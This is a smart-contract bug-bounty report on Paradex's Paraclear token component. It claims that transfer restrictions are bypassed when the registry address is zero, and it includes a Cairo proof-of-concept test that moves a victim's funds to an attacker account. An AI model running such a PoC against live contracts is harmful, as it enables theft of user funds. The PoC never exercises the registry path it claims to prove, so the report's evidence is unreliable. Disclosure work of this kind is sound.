#46843 [SC-Critical] Bypass of Restrictions When Paraclear_transfer_registry Is Unregistered
Submitted on Jun 5th 2025 at 08:24:12 UTC by @Catchme for IOP | Paradex
Report ID: #46843
Report Type: Smart Contract
Report severity: Critical
Target: https://github.com/tradeparadex/audit-competition-may-2025/tree/main/paraclear
Impacts:
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Theft of unclaimed yield
Description
Brief/Intro
There is a critical vulnerability in the _detect_transfer_restriction
and _detect_account_transfer_restriction
functions that allows critical transfer and account restrictions to be bypassed if the Paraclear_transfer_registry
contract address is not set or is set to a zero address.
Vulnerability Details
In TokenComponent::_detect_transfer_restriction
(and similarly in _detect_account_transfer_restriction
):
fn _detect_transfer_restriction(
self: @ComponentState<TContractState>,
sender: ContractAddress,
recipient: ContractAddress,
token_address: ContractAddress,
amount: u256,
) {
// Check if token is supported
assert!(self.is_asset_supported(token_address), "Transfer: Token address is invalid");
// Read transfer registry address
let transfer_registry_address = self.Paraclear_transfer_registry.read();
// If transfer registry is set, check restrictions
if transfer_registry_address.is_non_zero() {
let registry_dispatcher = IRegistryDispatcher {
contract_address: transfer_registry_address,
};
let is_transfer_restricted: u8 = registry_dispatcher
.detect_transfer_restriction(sender, recipient, amount);
assert!(is_transfer_restricted == 0, "Transfer: Transfer is not allowed");
}
// No 'else' block for when transfer_registry_address is zero.
}
The if transfer_registry_address.is_non_zero()
condition allows the entire restriction checking logic within the if
block to be skipped if Paraclear_transfer_registry
is 0x0
. This means that if the Paraclear_transfer_registry
has not been initialized or is intentionally set to 0x0
, critical transfer restrictions defined in the external IRegistryDispatcher
contract will not be enforced.
Impact Details
Bypass of Security and Compliance Controls: If the transfer_registry
is intended to enforce crucial security (e.g., blacklisting malicious addresses, withdrawal limits) or regulatory compliance (e.g., AML/KYC checks, geographic restrictions) rules, these rules will be completely circumvented when the registry address is zero. This could lead to:
Unauthorized Fund Withdrawals/Transfers: Malicious actors could withdraw or transfer funds that should be restricted by the
transfer_registry
.System Abuse: Users could bypass intended limits on deposits or transfers, potentially leading to system instability or manipulation.
Proof of Concept
Proof of Concept
#[test]
fn test_poc_unauthorized_transfer_demonstrates_vulnerability() {
let (spy, paraclear_dispatcher, oracle_dispatcher) = setup_paraclear_with_oracle();
let victim = VICTIM_USER();
let attacker = ATTACKER_USER();
// Simulate victim having 1000 USDC
let simulated_victim_balance = 100000000000_i128; // 1000 USDC
let transfer_percentage = 50000000_i128; // 50%
// Calculate theft amount
let amount_that_would_be_stolen = (simulated_victim_balance * transfer_percentage) / 100000000_i128;
println!("SIMULATION ANALYSIS:");
println!("If victim had: {} units (1000 USDC)", simulated_victim_balance);
println!("Transfer percentage: {} (50%)", transfer_percentage);
println!("Amount that would be stolen: {} units (500 USDC)", amount_that_would_be_stolen);
// Attacker calls function WITHOUT any authorization
start_cheat_caller_address(paraclear_dispatcher.contract_address, attacker);
let result = paraclear_dispatcher.account_transfer_partial(
victim,
attacker,
transfer_percentage.try_into().unwrap(),
0
);
stop_cheat_caller_address(paraclear_dispatcher.contract_address);
// Attack succeeds due to missing access control
assert!(result == 1, "Attack vector should still work");
println!("Attack still succeeds: {} (PASS)", result);
println!("This confirms that once victim has funds, they can be stolen!");
}
Was this helpful?